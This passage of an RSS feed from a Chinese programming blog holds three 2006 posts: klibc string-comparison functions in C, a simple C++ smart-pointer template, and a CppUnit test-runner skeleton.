<br><img src ="http://www.cnitblog.com/schkui/aggbug/25096.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/schkui/" target="_blank">易道</a> 2007-04-03 10:46 <a href="http://www.cnitblog.com/schkui/archive/2007/04/03/25096.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux klibc 字符串比较函数是实现</title><link>http://www.cnitblog.com/schkui/archive/2006/06/02/11467.html</link><dc:creator>易道</dc:creator><author>易道</author><pubDate>Fri, 02 Jun 2006 07:07:00 GMT</pubDate><guid>http://www.cnitblog.com/schkui/archive/2006/06/02/11467.html</guid><wfw:comment>http://www.cnitblog.com/schkui/comments/11467.html</wfw:comment><comments>http://www.cnitblog.com/schkui/archive/2006/06/02/11467.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/schkui/comments/commentRss/11467.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/schkui/services/trackbacks/11467.html</trackback:ping><description><![CDATA[int strncasecmp(const char *s1, const char *s2, size_t n)<br />{<br />  const unsigned char *c1 = s1, *c2 = s2;<br />  unsigned char ch;<br />  int d = 0;<br /><br />  while ( n-- ) {<br />    /* toupper() expects an unsigned char (implicitly cast to int)<br />       as input, and returns an int, which is exactly what we want. */<br />    d = toupper(ch = *c1++) - toupper(*c2++);<br />    if ( d || !ch )<br />      break;<br />  }<br /><br />  return d;<br />}<br /><br /><br />int strcasecmp(const char *s1, const char *s2)<br />{<br />  const unsigned char *c1 = s1, *c2 = s2;<br />  unsigned char ch;<br />  int d = 0;<br /><br />  while ( 1 ) {<br />    /* toupper() expects an unsigned char (implicitly cast to int)<br />       as input, and returns an int, which is exactly what we want. */<br />    d = toupper(ch = *c1++) - toupper(*c2++);<br />    if ( d || !ch )<br />      break;<br />  }<br /><br />  return d;<br />}<br /><br /><br />int strcmp(const char *s1, const char *s2)<br />{<br />  const unsigned char *c1 = s1, *c2 = s2;<br />  unsigned char ch;<br />  int d = 0;<br /><br />  while ( 1 ) {<br />    d = (int)(ch = *c1++) - (int)*c2++;<br />    if ( d || !ch )<br />      break;<br />  }<br /><br />  return d;<br />}<br /><br /><br /><br />int strncmp(const char *s1, const char *s2, size_t n)<br />{<br />  const unsigned char *c1 = s1, *c2 = s2;<br />  unsigned char ch;<br />  int d = 0;<br /><br />  while ( n-- ) {<br />    d = (int)(ch = *c1++) - (int)*c2++;<br />    if ( d || !ch )<br />      break;<br />  }<br /><br />  return d;<br />}<br /><br /><img src ="http://www.cnitblog.com/schkui/aggbug/11467.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/schkui/" target="_blank">易道</a> 2006-06-02 15:07 <a href="http://www.cnitblog.com/schkui/archive/2006/06/02/11467.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>简单的智能指针-- 防止内存泄露..</title><link>http://www.cnitblog.com/schkui/archive/2006/05/31/11341.html</link><dc:creator>易道</dc:creator><author>易道</author><pubDate>Wed, 31 May 2006 09:57:00 GMT</pubDate><guid>http://www.cnitblog.com/schkui/archive/2006/05/31/11341.html</guid><wfw:comment>http://www.cnitblog.com/schkui/comments/11341.html</wfw:comment><comments>http://www.cnitblog.com/schkui/archive/2006/05/31/11341.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/schkui/comments/commentRss/11341.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/schkui/services/trackbacks/11341.html</trackback:ping><description><![CDATA[
		<br />// 一般用途<br />template&lt;class T&gt;struct SP_traits {<br />    static void Release(T* ptr)     {<br />        delete ptr;<br />    }<br />};<br /><br />// 特殊用途<br />template&lt;&gt; struct SP_traits&lt;somlist&gt;{<br />    static void Release(T* ptr)<br />    {<br />        somlist::iterator iter;<br />        for(iter= ptr-&gt;begin() ;iter!=ptr-&gt;end();iter++) <br />            delete (*iter) ;<br />        <br />        delete ptr;<br />    }    <br />}<br /><br /><br />template&lt;class T&gt;<br />class SP//simple smart pointer<br />{<br />public:<br />    SP():ptr(NULL)    {<br />    }<br />    SP(T*p):ptr(p)    {<br />    }<br /><br />    void Release()<br />    {<br />        if( ptr != NULL )<br />        {<br />            SP_traits&lt;T&gt;::Release(ptr);<br />        }<br />        ptr = NULL;<br />    }<br />    T* operator=(T*p){<br />        Release();<br />        ptr = p;<br />        return ptr;<br />    }<br />    T** operator &amp;() const    {<br />        return &amp;ptr;<br />    }<br />    T** operator &amp;()    {<br />        return &amp;ptr;<br />    }<br />    T&amp; operator *()    {<br />        return *ptr;<br />    }<br />    T&amp; operator *()    const {<br />        return *ptr;<br />    }<br />    T* operator-&gt;()    {<br />        return ptr;<br />    }<br />    T* operator-&gt;()    const {<br />        return ptr;<br />    }<br />    operator T*()    {<br />        return ptr;<br />    }<br />    operator T*() const    {<br />        return ptr;<br />    }<br />    T&amp; operator []( int i )    {<br />        return ptr[ i ];<br />    }<br />    T&amp; operator []( int i )    const {<br />        return ptr[ i ];<br />    }<br />    bool operator == ( const T* p ){<br />        return ptr == p;<br />    }<br />    bool operator != ( const T* p ){<br />        return ptr != p;<br />    }<br />    bool operator == ( const T* p ) const {<br />        return ptr == p;<br />    }<br />    bool operator != ( const T* p ) const {<br />        return ptr != p;<br />    }<br /><br />    ~SP()<br />    {<br />        Release();<br />    }<br />    PM_BOOL IsValid()    {<br />        return ptr != NULL;<br />    }<br />    void Attach( T* ptr_new )<br />    {<br />        Release();<br />        ptr = ptr_new;<br />    }<br />    void Detach( T* ptr_new )<br />    {<br />        ptr = NULL;<br />    }<br />    T* ptr;<br />};<br /><br /><br /><img src ="http://www.cnitblog.com/schkui/aggbug/11341.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/schkui/" target="_blank">易道</a> 2006-05-31 17:57 <a href="http://www.cnitblog.com/schkui/archive/2006/05/31/11341.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CPPunit 的简单的应用</title><link>http://www.cnitblog.com/schkui/archive/2006/05/31/11331.html</link><dc:creator>易道</dc:creator><author>易道</author><pubDate>Wed, 31 May 2006 08:42:00 GMT</pubDate><guid>http://www.cnitblog.com/schkui/archive/2006/05/31/11331.html</guid><wfw:comment>http://www.cnitblog.com/schkui/comments/11331.html</wfw:comment><comments>http://www.cnitblog.com/schkui/archive/2006/05/31/11331.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/schkui/comments/commentRss/11331.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/schkui/services/trackbacks/11331.html</trackback:ping><description><![CDATA[
		<br />/**********************************************************<br />*<br />*  测试的主函数<br />*<br />***********************************************************/<br /><br />#include &lt;cppunit/CompilerOutputter.h&gt;<br />#include &lt;cppunit/extensions/TestFactoryRegistry.h&gt;<br />#include &lt;cppunit/ui/text/TestRunner.h&gt;<br /><br /><br /><br />int main(int argc, char* argv[])<br />{<br />  // Get the top level suite from the registry<br />  CPPUNIT_NS::Test *suite = CPPUNIT_NS::TestFactoryRegistry::getRegistry().makeTest();<br /><br />  // Adds the test to the list of test to run<br />  CPPUNIT_NS::TextUi::TestRunner runner;<br />  runner.addTest( suite );<br /><br />  // Change the default outputter to a compiler error format outputter<br />  runner.setOutputter( new CPPUNIT_NS::CompilerOutputter( &amp;runner.result(),<br />                                                       std::cerr ) );<br />  // Run the test.<br />  bool wasSucessful = runner.run(); <br /><br />  // Return error code 1 if the one of test failed.<br />  return wasSucessful ? 0 : 1;<br />}<br /><br /><br /><br />/**********************************************************<br />*<br />*  测试的类的头文件<br />*  testex.h<br />***********************************************************/<br />#include &lt;cppunit/extensions/HelperMacros.h&gt;<br /><br /><br />class CTestEx : public CPPUNIT_NS::TestFixture <br />{<br />    // 开始<br />    CPPUNIT_TEST_SUITE( CTestEx );<br />    // 申明自动测试的函数<br />    CPPUNIT_TEST( test_f ); <br />    // 结束<br />    CPPUNIT_TEST_SUITE_END();<br />public:<br />    CTestEx ();<br />    virtual ~CTestEx ();<br />    void test_f() ;<br />}<br /><br />/**********************************************************<br />*<br />*  测试的类的实现<br />*  testex.cpp<br />***********************************************************/<br /><br /><br />#include "testex.h"<br /><br /><br />CPPUNIT_TEST_SUITE_REGISTRATION( CTestEx );<br /><br />void CTestEx::test_f()<br />{<br />    ....;<br />}<br /><br /><img src ="http://www.cnitblog.com/schkui/aggbug/11331.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/schkui/" target="_blank">易道</a> 2006-05-31 16:42 <a href="http://www.cnitblog.com/schkui/archive/2006/05/31/11331.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>